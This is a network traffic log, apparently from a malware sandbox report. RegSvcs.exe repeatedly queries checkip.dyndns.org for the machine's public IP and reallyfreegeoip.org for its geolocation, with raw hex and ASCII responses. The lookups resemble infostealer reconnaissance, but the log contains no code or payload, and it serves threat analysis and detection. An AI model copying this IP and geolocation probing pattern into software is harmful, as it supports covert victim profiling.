Sep 19, 2024 12:21:16.866899014 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 19, 2024 12:21:17.531632900 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 19 Sep 2024 10:21:17 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: f00e2bd8cde06d5cccfcc20ac501903f Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49719	132.226.247.73	80	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Sep 19, 2024 12:21:18.329586029 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 19, 2024 12:21:19.021155119 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 19 Sep 2024 10:21:18 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 874be775f0acf90a6ed419fd30d74441 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Sep 19, 2024 12:21:19.077233076 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 19, 2024 12:21:19.287348032 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 19 Sep 2024 10:21:19 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 92ae2324d24140ed3bb3bc4b16544611 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Sep 19, 2024 12:21:19.563760996 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 19 Sep 2024 10:21:19 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 92ae2324d24140ed3bb3bc4b16544611 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Sep 19, 2024 12:21:20.224432945 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 19, 2024 12:21:20.434741020 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 19 Sep 2024 10:21:20 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: d05bd782bc946fc911d6f068d71a7d6b Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49720	132.226.247.73	80	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Sep 19, 2024 12:21:18.339478016 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 19, 2024 12:21:19.012907028 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 19 Sep 2024 10:21:18 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 4490a1b6a914b2c04ddecb8cf2245d92 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49728	132.226.247.73	80	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Sep 19, 2024 12:21:21.965411901 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 19, 2024 12:21:23.019723892 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 19 Sep 2024 10:21:22 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 6cc0e9f17936397c2c94c2a14525c198 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Sep 19, 2024 12:21:23.019907951 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 19 Sep 2024 10:21:22 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 6cc0e9f17936397c2c94c2a14525c198 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49732	132.226.247.73	80	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Sep 19, 2024 12:21:23.673831940 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 19, 2024 12:21:24.361613989 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 19 Sep 2024 10:21:24 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 8512ef4e2b844325b9327960a9196870 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49734	132.226.247.73	80	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Sep 19, 2024 12:21:24.999561071 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 19, 2024 12:21:25.693104982 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 19 Sep 2024 10:21:25 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 2207541da7ebbb3ac80270b090988acb Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49736	132.226.247.73	80	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Sep 19, 2024 12:21:26.321783066 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 19, 2024 12:21:26.987364054 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 19 Sep 2024 10:21:26 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 578ca719d472c6a9d24a76b4e21777a3 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49738	132.226.247.73	80	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Sep 19, 2024 12:21:27.641232014 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 19, 2024 12:21:28.314029932 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 19 Sep 2024 10:21:28 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 03256956157702b8d679965657928e82 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49740	132.226.247.73	80	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Sep 19, 2024 12:21:28.947068930 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 19, 2024 12:21:29.621263027 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 19 Sep 2024 10:21:29 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: b53042e37b0e7ccb301eeb0680ab38e2 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49742	132.226.247.73	80	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Sep 19, 2024 12:21:30.258122921 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 19, 2024 12:21:30.941971064 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 19 Sep 2024 10:21:30 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 9ed7c29f1163d8105f7da1acee2abb0a Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	188.114.97.3	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:21:08 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-09-19 10:21:09 UTC	712	IN	HTTP/1.1 200 OK Date: Thu, 19 Sep 2024 10:21:09 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 15025 Last-Modified: Thu, 19 Sep 2024 06:10:44 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eWBU4%2BoKO%2B0Nr3N4jO6wdeGeJd4%2FBA3VuYdnBdWlVDhWkXgaQi63bQnY2AFIp9Jo3x60jRznxZN1kUjeaC%2B62TOBHSjC%2FPB7RBDpLECH7oOcILQyvopc%2BrlqkRWo5YQBoRym8102"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c58d8e34a204217-EWR alt-svc: h3=":443"; ma=86400
2024-09-19 10:21:09 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-19 10:21:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49706	188.114.97.3	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:21:09 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-09-19 10:21:09 UTC	714	IN	HTTP/1.1 200 OK Date: Thu, 19 Sep 2024 10:21:09 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 15025 Last-Modified: Thu, 19 Sep 2024 06:10:44 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9YKMdTRxbF0Vv36F2Gz%2Fdc9mE5hdF8cjoXnA3Eus21%2BaR2tduJQVL6u33BDQ4jrqQmuRScW%2F4qtaKbzh4%2F%2F6wNVTGp7RDTTSouSMmA4bm%2BljOEZi57DOh%2BrXnrc8XpcPYNY679Qa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c58d8e85a5442ec-EWR alt-svc: h3=":443"; ma=86400
2024-09-19 10:21:09 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-19 10:21:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49708	188.114.97.3	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:21:11 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-09-19 10:21:11 UTC	676	IN	HTTP/1.1 200 OK Date: Thu, 19 Sep 2024 10:21:11 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 15027 Last-Modified: Thu, 19 Sep 2024 06:10:44 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IJgLt%2Fm6kFVWUhsi5CIFyCMOqsOZiCf5IhrUdwXxP5YBU6fkerbsGOa7dqSf06jlobcvB5LvjDX3o6Csw4dM5F045S5WM%2Bu0NN62OW7GR3BEYce%2B10kNl14Sny5Stytg7r4hbMOw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c58d8f0d8ea1a30-EWR
2024-09-19 10:21:11 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-19 10:21:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49710	188.114.97.3	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:21:12 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-09-19 10:21:12 UTC	704	IN	HTTP/1.1 200 OK Date: Thu, 19 Sep 2024 10:21:12 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 15028 Last-Modified: Thu, 19 Sep 2024 06:10:44 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jA5saEKGMxQe3uMzjFMaA6rv5jPrnE3DhlljefBW5TcVVLvyyNqmNNLsNDQPxcWNHmPM2EVACZSqwqPGlSFXpm6k2YZFQd%2BRs4ayvt4SRCmUo%2F5KVDPOMVtfIqvBkQKeIx8rEOLB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c58d8f9594415c3-EWR alt-svc: h3=":443"; ma=86400
2024-09-19 10:21:12 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-19 10:21:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49712	188.114.97.3	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:21:14 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
